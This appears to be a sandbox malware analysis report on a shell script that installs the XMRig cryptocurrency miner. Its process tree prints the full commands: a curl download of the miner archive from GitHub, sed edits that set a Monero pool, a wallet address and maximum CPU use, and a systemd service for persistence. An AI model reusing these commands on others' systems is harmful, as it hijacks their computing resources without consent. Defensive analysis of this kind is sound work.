Analysis

  • max time kernel
    3s
  • max time network
    1050s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:47

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1414
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1417
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1418
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1421
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1422
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1463
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1464
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1465
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1465
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1465
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1465
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1466
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                          • Reads runtime system information
                          PID:1467
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1468
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                          • Reads runtime system information
                          PID:1473
                        • /usr/bin/cut
                          cut -f1 -d.
                          2⤵
                            PID:1472
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:1471
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                                PID:1474
                              • /usr/bin/sed
                                sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                2⤵
                                • Reads runtime system information
                                PID:1475
                              • /usr/bin/sed
                                sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-0\",/" /root/lampp/config.json
                                2⤵
                                  PID:1476
                                • /usr/bin/sed
                                  sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:1477
                                  • /usr/bin/sed
                                    sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                    2⤵
                                    • Reads runtime system information
                                    PID:1478
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:1479
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                        PID:1480
                                      • /usr/bin/cp
                                        cp /root/lampp/config.json /root/lampp/config_background.json
                                        2⤵
                                          PID:1481
                                        • /usr/bin/sed
                                          sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                          2⤵
                                            PID:1482
                                          • /usr/bin/cat
                                            cat
                                            2⤵
                                              PID:1483
                                            • /usr/bin/chmod
                                              chmod +x /root/lampp/miner.sh
                                              2⤵
                                                PID:1484
                                              • /usr/bin/sudo
                                                sudo -n true
                                                2⤵
                                                • Reads runtime system information
                                                PID:1485
                                                • /usr/bin/true
                                                  true
                                                  3⤵
                                                    PID:1486
                                                • /usr/bin/awk
                                                  awk "{print \$2}"
                                                  2⤵
                                                    PID:1489
                                                  • /usr/bin/grep
                                                    grep MemTotal /proc/meminfo
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1488
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1490
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1491
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                          PID:1492
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                          PID:1493
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1494
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1495
                                                          • /usr/bin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1496
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1536
                                                          • /usr/bin/systemctl
                                                            systemctl enable lampp.service
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1537
                                                        • /usr/bin/sudo
                                                          sudo systemctl start lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1563
                                                          • /usr/bin/systemctl
                                                            systemctl start lampp.service
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1564

                                                      Network

                                                      MITRE ATT&CK Matrix ATT&CK v13

                                                      Defense Evasion

                                                      Virtualization/Sandbox Evasion

                                                      2
                                                      T1497

                                                      Discovery

                                                      Virtualization/Sandbox Evasion

                                                      2
                                                      T1497

                                                      System Information Discovery

                                                      3
                                                      T1082

                                                      Command and Control

                                                      Web Service

                                                      1
                                                      T1102

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /root/lampp/config.json
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        f3294129e6b76283965ad86a815bf383

                                                        SHA1

                                                        5fe0ab538f86962efe82cb13fc2da745610740af

                                                        SHA256

                                                        578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                        SHA512

                                                        07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                      • /root/lampp/sedKiQXMM
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        ad4795affd90dfe609d6bb873a940e58

                                                        SHA1

                                                        8f608a55bce32b87f27fdc7ea4d6db19c83c9443

                                                        SHA256

                                                        8a7764f1eb7c4ea4031b8063fafbaa5bed928730a5508700637cd95eeca308fe

                                                        SHA512

                                                        36f01955a210fa7f9191c65bd2e2bd0f45f87572d75059b718063950d6d79e4c6403a09e7720dcce3a0d40f5c7b4bddbc05d841a02be6a14089d8f99455123f9

                                                      • /root/lampp/sedPaJba4
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        239e1b32a80486ca3b739ef9d680ccf2

                                                        SHA1

                                                        b8ff26c0de1ec7c7f30e1cc4b1139211d32729ee

                                                        SHA256

                                                        4bf7e494c1b35247c6d363096e513f691fe54ef7561750cd416db14a43290dad

                                                        SHA512

                                                        9c11f8652636dc830db4ab8f5a4ff8547435988a4ea873951923e254741824cd51ff35ff036fe5942868f42f388816f4038166c94cb6f2c10dc531cddac8fc13

                                                      • /root/lampp/sedRRqQ4f
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        b8592ec3fe17a0f22f62532d43c1a06f

                                                        SHA1

                                                        5f0c1b6cc2fee0bdaa79a5bcec676eec6c325f67

                                                        SHA256

                                                        b3fb6a3254ca30ed485bb352b9b1230e9d07619445fe4f6d5d8d089d4cb7a5c2

                                                        SHA512

                                                        05212c5ad20a8d02c39e5e9e377aa0e0252cb2010cf35b72b50fd5f8b271f3d85a1fa95522347caf41fa04f841182b0646cf844965898ad42369dd8e03487290

                                                      • /root/lampp/sedSy733G
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        d489ddbbb83271e967b8af615d17d3c7

                                                        SHA1

                                                        f0394a367a60e9727269882154098dec802774ef

                                                        SHA256

                                                        5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                        SHA512

                                                        aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                      • /root/lampp/seda0f5jH
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        8b11b027dd187104473ee7d661ffe25f

                                                        SHA1

                                                        ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                        SHA256

                                                        984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                        SHA512

                                                        1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                      • /root/lampp/sedhIx2T7
                                                        Filesize

                                                        2KB

                                                        MD5

                                                        e8a3a6a14d3b79f4ab090bc32288a1e3

                                                        SHA1

                                                        33ac18696fc5d6505ab28ee6da4e06c2f8f0e662

                                                        SHA256

                                                        0b8293ca19dc4d2ed7d4b55b4a2d0125a4b9b66c9277bf6baf327a904d57a4b8

                                                        SHA512

                                                        262caf8a0aedffdbbd0c605d21e87a6990700ba3c040dd5df1c4152526fedea7c0bdf04ba49866bf464d639d1d0ffe371bd04db3f003ef26c3d25ef75b851305

                                                      • /root/lampp/xmrig
                                                        Filesize

                                                        8.4MB

                                                        MD5

                                                        0975c5cfd56027600af3cf95ede98f6d

                                                        SHA1

                                                        69ceefc28cc35ce9a732c7eb3cf7d3f76d8c622f

                                                        SHA256

                                                        c8916cbceac932fa7ab21cfd6c01a2f56e0f611cbf6ef5f02b62b396c748dce3

                                                        SHA512

                                                        c22be629e4052f389de81083475acd66bf92f7c3a867f23715afe99cb4e9e3b8cc550eab9d235b63ef69aeec2f2ee86175b36a2906f60ccfa1ca54ffdccd39e8

                                                      • /tmp/lampp.service
                                                        Filesize

                                                        177B

                                                        MD5

                                                        540c899b78585827e807a62f7345eaf5

                                                        SHA1

                                                        8bf3146889c6b15811f226bff9fbca24d184eff2

                                                        SHA256

                                                        b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                        SHA512

                                                        0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                      • /tmp/sh-thd.EQeJgm
                                                        Filesize

                                                        253B

                                                        MD5

                                                        f96a321a262287ceae164f23f232ed9c

                                                        SHA1

                                                        d1eeab41f244b42377afd7cc3de7428736162b24

                                                        SHA256

                                                        f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                        SHA512

                                                        75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                      • /tmp/xmrig.tar.gz
                                                        Filesize

                                                        3.4MB

                                                        MD5

                                                        e003a3ec8bdd61151a61cadf950502c4

                                                        SHA1

                                                        2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                        SHA256

                                                        80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                        SHA512

                                                        ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9